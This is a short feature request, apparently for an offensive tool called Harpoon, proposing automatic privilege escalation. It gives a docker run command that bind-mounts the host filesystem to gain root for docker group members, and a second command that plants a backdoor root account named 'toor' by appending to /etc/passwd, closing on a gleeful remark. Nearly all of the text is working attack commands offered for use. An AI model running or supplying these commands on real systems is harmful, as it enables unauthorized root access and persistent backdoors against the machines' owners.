Add Auto Priv Escalation to Harpoon

If it turns out that you are a part of the docker group, escalate to root with the following:

```bash
docker run -it --rm -v $PWD:/mnt bash
```

We can also backdoor the machine after this with;

```bash
echo 'toor:$1$.PWORDHASH:0:0:root:/root:/bin/sh' >> /mnt/etc/passwd
```

Just another reason why Docker bind mounts can be dangerous >:)